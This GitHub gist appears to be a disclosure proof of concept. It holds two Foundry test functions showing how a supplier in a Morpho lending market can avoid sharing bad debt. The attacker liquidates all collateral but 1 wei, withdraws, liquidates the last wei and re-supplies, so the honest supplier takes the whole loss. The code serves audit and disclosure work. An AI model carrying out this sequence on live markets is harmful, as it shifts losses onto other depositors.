Skip to content

Instantly share code, notes, and snippets.

@sipox11
Created September 12, 2023 14:00
Show Gist options
  • Select an option

  • Save sipox11/b9ed6614ce43183fe521a59dc0e94be1 to your computer and use it in GitHub Desktop.

Select an option

Save sipox11/b9ed6614ce43183fe521a59dc0e94be1 to your computer and use it in GitHub Desktop.
PoC: A malicious supplier can avoid bad debt socialization

Steps to reproduce:

Copy full both test cases from this gist within the contract LiquidateIntegrationTest.

Run both tests with:

forge test -vv --match-test testBadDebt

Test cases are:

  • testBadDebtNoAvoidance: Tests ideal scenario where bad debt is socialized among all suppliers equally.
  • testBadDebtAvoidance: Showcases how a malicious supplier can execute this attack to skip the bad debt socialization and force it on all existing suppliers.
function testBadDebtAvoidance() public {
  // Scenario: Collateral is ETH, borrowable token is USDC
  // 2 suppliers with 5k USDC each, supplier 1 is the victim Alice, supplier 2 is the attacker, Bob.
  // 1 borrower, Charlie, deposits 4 ETH at 2000$ price and borrows the max amount at 80% LLTV (1600$)
  // Price changes to 1500$
  // Bob liquidates Charlie's collateral - 1 wei, withdraws liquidity, liquidates 1 wei, deposits liquidity
  // End result should be that his position is worth 5k USDC, and Alice's position is worth 4k USDC

  uint256 borrowerCollateral = 4 ether;       // Borrower posts 1 ETH as collateral
  uint256 borrowAmount = 6_400_000_000;       // 6.4e9 = 6400 e6 = 6400 USDC (8000 USDC worth of collateral x 80% LLTV = 6400 USDC max borrow amount)
  uint256 supplier1Amount = 5_000_000_000;    // 5e9 = 5000 e6 = 5000 USDC
  uint256 supplier2Amount = 5_000_000_000;    // 5e9 = 5000 e6 = 5000 USDC
  address victim = SUPPLIER;                  // The supplier 1 will be the victim
  address attacker = LIQUIDATOR;              // The liquidator will be the supplier 2, and the attacker
  address borrower = BORROWER;                // The borrower will simply borrow and then face liquidation

  // Impersonate Alice (victim), approve Morpho and supply 5k USDC
  vm.startPrank(victim);
  borrowableToken.setBalance(victim, supplier1Amount);
  borrowableToken.approve(address(morpho), type(uint256).max);
  morpho.supply(marketParams, supplier1Amount, 0, victim, hex"");
  uint256 victimInitialShares = 0.005 ether; // This will be helpful at the end
  vm.stopPrank();

  // Impersonate Bob(attacker and liquidator), approve Morpho and supply 5k USDC
  vm.startPrank(attacker);
  borrowableToken.setBalance(attacker, supplier2Amount);
  borrowableToken.approve(address(morpho), type(uint256).max);
  morpho.supply(marketParams, supplier2Amount, 0, attacker, hex"");
  vm.stopPrank();

  // At this point, total market supply should be 10k USDC
  uint256 totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id);
  assertEq(totalSupplyBeforeLiquidation, supplier1Amount + supplier2Amount, "!supply balances before liquidation");

  // Force oracle to report 2000$ price per ETH (2000e(-12) * 1e36)
  // 1 WEI = 2000e6 USDT * 1e36 / 1e18 ETH = 2000e24
  oracle.setPrice(2000e24);

  // Impersonate Charlie to deposit 4 ETH as collateral and borrow the max amount of 6400 USDC
  vm.startPrank(borrower);
  collateralToken.setBalance(borrower, borrowerCollateral);
  morpho.supplyCollateral(marketParams, borrowerCollateral, borrower, hex"");
  morpho.borrow(marketParams, borrowAmount, 0, borrower, borrower);
  vm.stopPrank();

  // At this point, Morpho should have 4 ETH in total collateral and Charlie should have 6400 USDC 
  assertEq(collateralToken.balanceOf(address(morpho)), borrowerCollateral, "!collateral balance");
  assertEq(borrowableToken.balanceOf(borrower), borrowAmount, "!borrowed balance");

  // Force price of ETH to go down to 1.5k$ per ETH (1500e(-12) * 1e36 = 1500e24)
  // 1 WEI = 1500e6 USDT * 1e36 / 1e18 ETH = 1500e24
  oracle.setPrice(1500e24);

  // This causes the borrower Charlie's position to become unhealthy
  // The attacker Bob wants to avoid getting his fair share of bad debt, so performs the following attack: 
  vm.startPrank(attacker);

  // 0) Get enough USDC to repay the bad debt somewhere else
  uint256 extraUsdcBalance = 10_000_000_000; // 10000 USDC, more than enough
  borrowableToken.setBalance(attacker, extraUsdcBalance);

  // 1) Liquidate Charlie by seizing exactly `borrowerCollateral` - 1 wei, so that bad debt is not socialized
  uint256 collateralToSeize = borrowerCollateral - 1;
  morpho.liquidate(marketParams, borrower, collateralToSeize, 0, hex"");
  uint256 totalSupplyAfterLiquidation = morpho.totalSupplyAssets(id);

  // 2) At this point, the Bob should have received the entire Charlie's collateral - 1 wei
  assertEq(collateralToken.balanceOf(attacker), collateralToSeize, "!liquidated collateral not received"); 

  // 2.1) Additionally, bad debt should not be have been socialized. If this is the case, total supply assets will
  //      not have been reduced from the initial 10k USDC.
  assertEq(totalSupplyBeforeLiquidation, totalSupplyAfterLiquidation, "bad debt was socialized when it was not expected");

  // 3) Bob can withdraw his entire supplied amount, avoiding the bad debt socialization
  uint256 attackerBorrowableBalanceBeforeWithdraw = borrowableToken.balanceOf(attacker);
  morpho.withdraw(marketParams, supplier2Amount, 0, attacker, attacker);
  assertLe(attackerBorrowableBalanceBeforeWithdraw, borrowableToken.balanceOf(attacker), "!withdraw");
  assertEq(morpho.totalSupplyAssets(id), totalSupplyAfterLiquidation - supplier2Amount, "expected total supply change did not happen");

  // 4) Bob has successfully exited his position fully. Now he charges the bad debt on top of the honest supplier (Alice)
  //    Achieve that by executing a secondary liquidation of just 1 wei
  totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id); // Reset value
  collateralToSeize = 1;
  morpho.liquidate(marketParams, borrower, collateralToSeize, 0, hex"");

  // If liquidation was successful, total supply should have been decreased by the generated bad debt of ~ 760 USDC.
  uint256 badDebtSocialized = totalSupplyBeforeLiquidation - morpho.totalSupplyAssets(id);
  assertGt(badDebtSocialized, 0, "!bad debt socialized");

  // 5) Bob re-supplies the original amount 
  morpho.supply(marketParams, supplier2Amount, 0, attacker, hex"");

  // 6) The attack is over. Total supplied assets should be the combined original amounts - bad debt, 
  // and since the attacker just deposited the original amount, he still is entitled to the same supply amount.
  // The entire bad debt was allocated to the honest passive supplier Alice. 
  uint256 initialTotalSupply = supplier1Amount + supplier2Amount;
  uint256 finalTotalSupply = morpho.totalSupplyAssets(id);
  assertEq(finalTotalSupply, initialTotalSupply - badDebtSocialized);
  vm.stopPrank();

  // 7) Finally, if the victim tries now to withdraw her full shares, she is going to 
  // receive the initially supplied amount - the bad debt.
  vm.startPrank(victim);
  uint256 victimBalanceBeforeWithdrawal = borrowableToken.balanceOf(victim);
  morpho.withdraw(marketParams, 0, victimInitialShares, victim, victim);
  uint256 withdrawnAmount = borrowableToken.balanceOf(victim) - victimBalanceBeforeWithdrawal;
  uint256 victimLoss = supplier1Amount - withdrawnAmount;
  vm.stopPrank();

  // 8) Verify a loss was made, larger than the expected one. 
  console.log("Bad debt generated:", badDebtSocialized);
  console.log("Victim suffered a loss of:", victimLoss);
  uint256 expectedFairLoss = badDebtSocialized / 2;
  assertGt(victimLoss, expectedFairLoss, "!loss lower than expected");
}
function testBadDebtNoAvoidance() public {
  // Scenario: Collateral is ETH, borrowable token is USDC
  // 2 suppliers with 5k USDC each, supplier 1 is the victim Alice, supplier 2 is the attacker, Bob.
  // 1 borrower, Charlie, deposits 4 ETH at 2000$ price and borrows the max amount at 80% LLTV (1600$)
  // Price changes to 1500$
  // Charlie liquidates full collateral
  // End result should be that his position is worth 4.5k USDC, and the other supplier's position is worth 4.5k USDC

  uint256 borrowerCollateral = 4 ether;       // Borrower posts 1 ETH as collateral
  uint256 borrowAmount = 6_400_000_000;       // 6.4e9 = 6400 e6 = 6400 USDC (8000 USDC worth of collateral x 80% LLTV = 6400 USDC max borrow amount)
  uint256 supplier1Amount = 5_000_000_000;    // 5e9 = 5000 e6 = 5000 USDC
  uint256 supplier2Amount = 5_000_000_000;    // 5e9 = 5000 e6 = 5000 USDC
  address victim = SUPPLIER;                  // The supplier 1 will be the victim
  address attacker = LIQUIDATOR;              // The liquidator will be the supplier 2, and the attacker
  address borrower = BORROWER;                // The borrower will simply borrow and then face liquidation

  // Impersonate Alice (victim), approve Morpho and supply 5k USDC
  vm.startPrank(victim);
  borrowableToken.setBalance(victim, supplier1Amount);
  borrowableToken.approve(address(morpho), type(uint256).max);
  morpho.supply(marketParams, supplier1Amount, 0, victim, hex"");
  uint256 victimInitialShares = 0.005 ether; // This will be helpful at the end
  vm.stopPrank();

  // Impersonate Bob (attacker and liquidator), approve Morpho and supply 5k USDC
  vm.startPrank(attacker);
  borrowableToken.setBalance(attacker, supplier2Amount);
  borrowableToken.approve(address(morpho), type(uint256).max);
  morpho.supply(marketParams, supplier2Amount, 0, attacker, hex"");
  vm.stopPrank();

  // At this point, total market supply should be 10k USDC
  uint256 totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id);
  assertEq(totalSupplyBeforeLiquidation, supplier1Amount + supplier2Amount, "!supply balances before liquidation");

  // Force oracle to report 2000$ price per ETH (2000e(-12) * 1e36)
  // 1 WEI = 2000e6 USDT * 1e36 / 1e18 ETH = 2000e24
  oracle.setPrice(2000e24);

  // Impersonate borrower Charlie to deposit 4 ETH as collateral and borrow the max amount of 6400 USDC
  vm.startPrank(borrower);
  collateralToken.setBalance(borrower, borrowerCollateral);
  morpho.supplyCollateral(marketParams, borrowerCollateral, borrower, hex"");
  morpho.borrow(marketParams, borrowAmount, 0, borrower, borrower);
  vm.stopPrank();

  // At this point, Morpho should have 4 ETH in total collateral and Charlie should have 6400 USDC 
  assertEq(collateralToken.balanceOf(address(morpho)), borrowerCollateral, "!collateral balance");
  assertEq(borrowableToken.balanceOf(borrower), borrowAmount, "!borrowed balance");

  // Force price of ETH to go down to 1.5k$ per ETH (1500e(-12) * 1e36 = 1500e24)
  oracle.setPrice(1500e24);

  // This causes the borrower Charlie's position to become unhealthy
  // The attacker Bob wants to avoid getting his fair share of bad debt, so performs the following attack: 
  vm.startPrank(attacker);

  // 0) Get enough USDC to repay the bad debt somewhere else
  uint256 extraUsdcBalance = 10_000_000_000; // 10000 USDC, more than enough
  borrowableToken.setBalance(attacker, extraUsdcBalance);

  // 1) Liquidate the borrower Charlie by seizing exactly at 100%, so that bad debt is socialized
  uint256 collateralToSeize = borrowerCollateral;
  morpho.liquidate(marketParams, borrower, collateralToSeize, 0, hex"");
  uint256 totalSupplyAfterLiquidation = morpho.totalSupplyAssets(id);

  // 2) At this point, the attacker Bob should have received the entire borrower collateral
  assertEq(collateralToken.balanceOf(attacker), collateralToSeize, "!liquidated collateral not received"); 

  // If liquidation was successful, total supply should have been decreased by the generated bad debt of ~ 760 USDC.
  uint256 badDebtSocialized = totalSupplyBeforeLiquidation - morpho.totalSupplyAssets(id);
  assertGt(badDebtSocialized, 0, "!bad debt socialized");

  // 3) The liquidation is over. Total supplied assets should be the combined original amounts - bad debt, 
  // The entire bad debt should be socialized equally. 
  uint256 initialTotalSupply = supplier1Amount + supplier2Amount;
  uint256 finalTotalSupply = morpho.totalSupplyAssets(id);
  assertEq(finalTotalSupply, initialTotalSupply - badDebtSocialized);
  vm.stopPrank();

  // 4) Finally, if the honest user Alice tries now to withdraw her full shares, she is going to 
  // receive the initially supplied amount - the bad debt portion.
  vm.startPrank(victim);
  uint256 victimBalanceBeforeWithdrawal = borrowableToken.balanceOf(victim);
  morpho.withdraw(marketParams, 0, victimInitialShares, victim, victim);
  uint256 withdrawnAmount = borrowableToken.balanceOf(victim) - victimBalanceBeforeWithdrawal;
  uint256 victimLoss = supplier1Amount - withdrawnAmount;
  vm.stopPrank();

  // 5) Verify a loss was made, larger than the expected fair one. 
  console.log("Bad debt generated:", badDebtSocialized);
  console.log("Victim suffered a loss of:", victimLoss);
  uint256 expectedFairLoss = badDebtSocialized / 2 + 1; // Rounding issue, 1 wei extra
  assertEq(victimLoss, expectedFairLoss, "!loss lower than expected");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment